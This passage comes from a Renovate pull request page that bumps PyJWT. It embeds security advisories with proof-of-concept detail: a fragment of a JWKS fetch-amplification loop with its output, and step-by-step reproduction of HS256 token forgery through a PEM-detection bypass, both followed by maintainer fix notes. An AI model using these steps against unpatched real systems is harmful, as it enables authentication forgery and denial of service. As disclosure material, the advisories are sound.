try: c.get_signing_key(f'attacker-unknown-kid-{i}')
except Exception: pass
before = hits['n']
for _ in range(5):
try: c.get_signing_key('same-unknown')
except Exception: pass
print('distinct unknown kids: 8 -> fetches:', hits['n'])
print('same unknown kid x5 -> extra fetches:', hits['n'] - before)

Output:
distinct unknown kids: 8 -> fetches: 9
same unknown kid x5 -> extra fetches: 5
Each unknown kid forces a fresh JWKS fetch; a repeated identical unknown kid still re-fetches every time against an unexpired cache. No rate-limit or negative-cache.

Impact
One unauthenticated request -> one outbound JWKS HTTP fetch + full JSON parse on the victim server. An attacker floods tokens carrying junk kids, so the victim hammers its own JWKS/IdP endpoint (amplification: attacker -> victim -> IdP), exhausting victim CPU/sockets and potentially tripping the JWKS provider's rate-limit, causing an application-wide auth outage. This is the unauthenticated DoS the parent advisory is named for, still reachable after the 2.13.0 fix.

Suggested fix
Guard the forced refresh on unknown kids: negative-cache unknown kids for a short TTL, or enforce a minimum interval between forced JWKS refreshes, so a repeated or unknown kid cannot force unbounded fetches.

Note: the same-kid-repeated result (5 identical unknown kids producing 5 fetches against an unexpired cache) shows this is request amplification, not legitimate key-rotation handling, since that refresh can never succeed.

Reported by Babakizo (Securva).

Maintainer update — 2026-09-10

The maintainer confirmed the reported behavior against PyJWT 2.13.0. With JWKS caching
enabled, an unknown kid previously forced an unconditional JWKS refresh,
including when the same unknown value was repeated while the cached key set was
still valid. This allowed unauthenticated token headers to cause unnecessary
outbound JWKS requests and repeated parsing work.

The fix is now on master in commit ba4853a. PyJWKClient now applies a
30-second cooldown after successful JWKS fetches before permitting another
unknown-kid refresh, serializes concurrent refresh decisions per client, and
allows callers to configure or disable the cooldown. Cache-disabled behavior
and immediate retry after failed fetches remain unchanged.

Regression tests cover repeated unknown kids, cooldown expiry, concurrent
misses, cache-disabled operation, and invalid cooldown values. The available
full tox matrix, Ruff, and mypy checks pass. The fix will be included in the
next released 2.x version.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PyJWT: Asymmetric-PEM detection bypass: whitespace/line-ending-mutated public keys skip the HS/asymmetric confusion guard

CVE-2026-102268 / GHSA-ffc3-869f-jxw9

More information

Details

Prerequisites (both conditions must hold; both are deployment properties, not attacker-controlled at request time):

  • The jwt.decode allow-list mixes an HMAC algorithm with an asymmetric one, e.g. algorithms=["ES256", "HS256"] (the RFC 8725 footgun the guard exists to backstop).
  • The verification key is passed as raw PEM text/bytes on the non-PyJWK path, in a byte-form that cryptography's loader accepts but PyJWT's is_pem_format regex does not recognize (marker-adjacent whitespace/indentation, CR-only line terminators, or the PEM folded to a single line). Such forms arise naturally from an indented YAML/JSON block, a single-line environment variable or JSON string, or a CR/LF round-trip through config tooling.

The attacker additionally needs the public verification key, which is public by definition, and cryptography must be installed.

The fix for CVE-2022-29217 rejects an asymmetric key handed to an HMAC algorithm, but only when is_pem_format() recognizes the key as PEM. That recognizer accepts strictly fewer byte-forms than the loader that later parses the key, so a PEM the guard misses still loads as a valid public key and is then used as an HMAC secret. This is an incomplete-guard bypass of the CVE-2022-29217 family.

Summary

A PEM public key with marker-adjacent whitespace, CR-only line terminators, or folded to a single line makes PyJWT's is_pem_format() return False while cryptography.load_pem_public_key() accepts the identical bytes. The asymmetric-key rejection in HMACAlgorithm.prepare_key is skipped, the public key becomes the HMAC secret, and an attacker who knows the public key mints a valid HS256 token — universal forgery — whenever the verify allow-list mixes an HMAC and an asymmetric algorithm.

Details

At jwt/algorithms.py:331-335, HMACAlgorithm.prepare_key contains the sole family-mismatch guard:

if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
    raise InvalidKeyError(
        "The specified key is an asymmetric key or x509 certificate and"
        " should not be used as an HMAC secret."
    )

If neither predicate fires, :357 returns key_bytes unchanged — the PEM text is used directly as the HMAC secret.

is_pem_format (jwt/utils.py:116-127) is bool(_PEM_RE.search(key)), where _PEM_RE requires ----[- ]BEGIN (...)[- ]----\r?\n, then .+?\r?\n, then the END marker. The LF in each \r?\n is mandatory, the markers are anchored directly after a newline, and only [- ] is tolerated adjacent to them — not arbitrary whitespace. So a key with a tab/space before the END marker, with bare \r terminators, or folded onto one line is not recognized as PEM. cryptography's load_pem_public_key is tolerant of exactly these forms and still returns the key.

Reach: jwt/api_jws.py:386 performs the allow-list check (passes when HS256 is in the list) and takes the non-PyJWK branch to alg_obj.prepare_key(key) at :407. The mismatch guard above is the only thing standing between a mixed allow-list and using the public key as an HMAC secret.

PoC

Vulnerable path: jwt/algorithms.py:331 (guard gated on is_pem_format) -> is_pem_format returns False for a loader-accepted PEM -> jwt/algorithms.py:357 returns the public-key bytes as the HMAC secret -> HS256 verification succeeds.

Reproduced on PyJWT 2.13.0 (commit 7144e453) with cryptography 49.0.0, using only the public API. For each of an EC (ES256) and an RSA-2048 (RS256) key: start from the correct public-key PEM, apply a mutation, confirm is_pem_format now returns False while cryptography still loads the bytes, then verify a token signed alg=HS256 with the public-key text as the HMAC secret, under algorithms=["ES256","HS256"] (resp. ["RS256","HS256"]).

Observed output:

pyjwt 2.13.0
  ec  canonical (control)                is_pem_format=True  crypto_loads=True  forgery=BLOCKED:InvalidKeyError
  ec  marker-adjacent (tab before END)   is_pem_format=False crypto_loads=True  forgery=FORGED(superadmin)
  ec  CR-only terminators                is_pem_format=False crypto_loads=True  forgery=FORGED(superadmin)
  ec  folded single-line                 is_pem_format=False crypto_loads=True  forgery=FORGED(superadmin)
  rsa canonical (control)                is_pem_format=True  crypto_loads=True  forgery=BLOCKED:InvalidKeyError
  rsa marker-adjacent (tab before END)   is_pem_format=False crypto_loads=True  forgery=FORGED(superadmin)
  rsa CR-only terminators                is_pem_format=False crypto_loads=True  forgery=FORGED(superadmin)
  rsa folded single-line                 is_pem_format=False crypto_loads=True  forgery=FORGED(superadmin)
  [control B] single-alg [ES256] allow-list vs forged HS256: REJECTED:InvalidAlgorithmError
RESULT: ALL-INVARIANTS-HOLD

Each mutated form on both key types forged a token accepted as superadmin. Controls: the unmodified PEM is correctly rejected with InvalidKeyError (the guard works and the mutation is load-bearing); a single-algorithm allow-list ["ES256"] rejects the forged HS256 token with InvalidAlgorithmError (the mixed allow-list is a necessary precondition).

Steps to reproduce:

  1. Generate an EC P-256 (or RSA-2048) keypair; serialize the public key to PEM.
  2. Mutate the PEM into a loader-accepted, regex-missed form — e.g. insert a tab before -----END, convert terminators to bare \r, or join all lines into one.
  3. Confirm jwt.utils.is_pem_format(mutated) is False and cryptography.hazmat.primitives.serialization.load_pem_public_key(mutated) succeeds.
  4. jwt.encode({"sub":"superadmin"}, mutated, algorithm="HS256"), then jwt.decode(token, mutated, algorithms=["ES256","HS256"]) — verification succeeds.
Impact

Cryptographic signature-verification bypass (CWE-347): algorithm confusion re-enabled by an incomplete asymmetric-key guard. An attacker who knows only the public verification key forges arbitrary-claim tokens that verify as authentic, subject to the two deployment preconditions above. The PyJWK verification path binds a single algorithm and is unaffected; enforce_minimum_key_length (off by default) does not block a 2048-bit/P-256 PEM. Impact when the preconditions hold is critical (universal forgery); the compound precondition is realistic but was not observed in a specific real-world deployment, so this is rated Critical, with the deployment precondition captured in CVSS.

Maintainer update — 2026-09-10

We reproduced the reported asymmetric-key guard bypass on PyJWT 2.13.0: PEM public keys with loader-accepted formatting mutations were missed by is_pem_format, then accepted as HMAC secrets when a verification call mixed symmetric and asymmetric algorithms. Canonical PEM controls remained blocked, and a single-algorithm allow-list rejected the forged HS256 token.

The fix is committed as 8b4e233a22206b34ec1186e912e75c0b2396ac07. PyJWT now scans supported PEM BEGIN/END markers in one pass, preserving matching labels and handling overlapping markers without regex backtracking. Regression coverage includes RSA loader-accepted mutations, incomplete repeated markers, later valid PEM blocks, and overlapping END/BEGIN markers. The fix does not broaden DER-key classification or change the caller's algorithm allow-list policy.

Verification on the signed commit passes with 400 tests and 4 intentional cryptography-environment skips; Ruff formatting/lint and the Python 3.9 mypy tox target pass. Fresh Astra/max independent review accepted the final snapshot and confirmed O(n) scanning, bounded storage, and no blocking compatibility or security finding. The fix has not been released; the advisory remains Critical with CVSS 3.1 score 9.1 and CWE-347.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Severity

  • CVSS Score: 9.1 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PyJWT: Non-canonical signature segments enable raw-token revocation bypass

CVE-2026-102269 / GHSA-hxm8-2xgr-2p9m

More information

Details

Summary

❗ Important

✂ PR body was truncated to here.

@renovate renovate Bot changed the title Bump PyJWT to 2.12.0 [SECURITY] Bump PyJWT to 2.12.0 [SECURITY] - autoclosed Mar 27, 2026
@renovate renovate Bot closed this Mar 27, 2026
@renovate
renovate Bot deleted the renovate/pypi-pyjwt-vulnerability branch March 27, 2026 01:57
@renovate renovate Bot changed the title Bump PyJWT to 2.12.0 [SECURITY] - autoclosed Bump PyJWT to 2.12.0 [SECURITY] Mar 30, 2026
@renovate renovate Bot reopened this Mar 30, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-pyjwt-vulnerability branch 2 times, most recently from 4c04285 to 5685fa7 Compare March 30, 2026 17:35
@renovate renovate Bot changed the title Bump PyJWT to 2.12.0 [SECURITY] Bump PyJWT to 2.12.0 [SECURITY] - autoclosed Apr 27, 2026
@renovate renovate Bot closed this Apr 27, 2026
@renovate renovate Bot changed the title Bump PyJWT to 2.12.0 [SECURITY] - autoclosed Bump PyJWT to 2.12.0 [SECURITY] Apr 27, 2026
@renovate renovate Bot reopened this Apr 27, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-pyjwt-vulnerability branch 2 times, most recently from 5685fa7 to aadcb05 Compare April 27, 2026 21:49
@renovate renovate Bot changed the title Bump PyJWT to 2.12.0 [SECURITY] Bump PyJWT to 2.12.0 [SECURITY] - autoclosed May 20, 2026
@renovate renovate Bot closed this May 20, 2026
@renovate renovate Bot changed the title Bump PyJWT to 2.12.0 [SECURITY] - autoclosed Bump PyJWT to 2.12.0 [SECURITY] May 20, 2026
@renovate renovate Bot reopened this May 20, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-pyjwt-vulnerability branch 2 times, most recently from aadcb05 to d8c99e2 Compare May 20, 2026 05:01
@renovate renovate Bot changed the title Bump PyJWT to 2.12.0 [SECURITY] Bump PyJWT to 2.13.0 [SECURITY] Jun 16, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-pyjwt-vulnerability branch from d8c99e2 to dd1eab1 Compare June 16, 2026 19:38
@renovate renovate Bot changed the title Bump PyJWT to 2.13.0 [SECURITY] Bump PyJWT to 2.13.0 [SECURITY] - autoclosed Sep 8, 2026
@renovate renovate Bot closed this Sep 8, 2026
@renovate renovate Bot changed the title Bump PyJWT to 2.13.0 [SECURITY] - autoclosed Bump PyJWT to 2.13.0 [SECURITY] Sep 9, 2026
@renovate renovate Bot reopened this Sep 9, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-pyjwt-vulnerability branch from dd1eab1 to 987daec Compare September 9, 2026 21:24
@renovate renovate Bot changed the title Bump PyJWT to 2.13.0 [SECURITY] Bump PyJWT to 2.13.0 [SECURITY] - autoclosed Sep 26, 2026
@renovate renovate Bot closed this Sep 26, 2026
@renovate renovate Bot changed the title Bump PyJWT to 2.13.0 [SECURITY] - autoclosed Bump PyJWT to 2.13.0 [SECURITY] Oct 1, 2026
@renovate renovate Bot reopened this Oct 1, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-pyjwt-vulnerability branch 3 times, most recently from d29fabf to f4632b3 Compare October 3, 2026 17:39
@renovate renovate Bot changed the title Bump PyJWT to 2.13.0 [SECURITY] Bump PyJWT to 2.14.0 [SECURITY] Oct 3, 2026
@renovate
renovate Bot force-pushed the renovate/pypi-pyjwt-vulnerability branch from f4632b3 to a35b1cb Compare October 7, 2026 01:01
@renovate renovate Bot changed the title Bump PyJWT to 2.14.0 [SECURITY] Bump PyJWT to 2.15.0 [SECURITY] Oct 7, 2026

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Development

Successfully merging this pull request may close these issues.

0 participants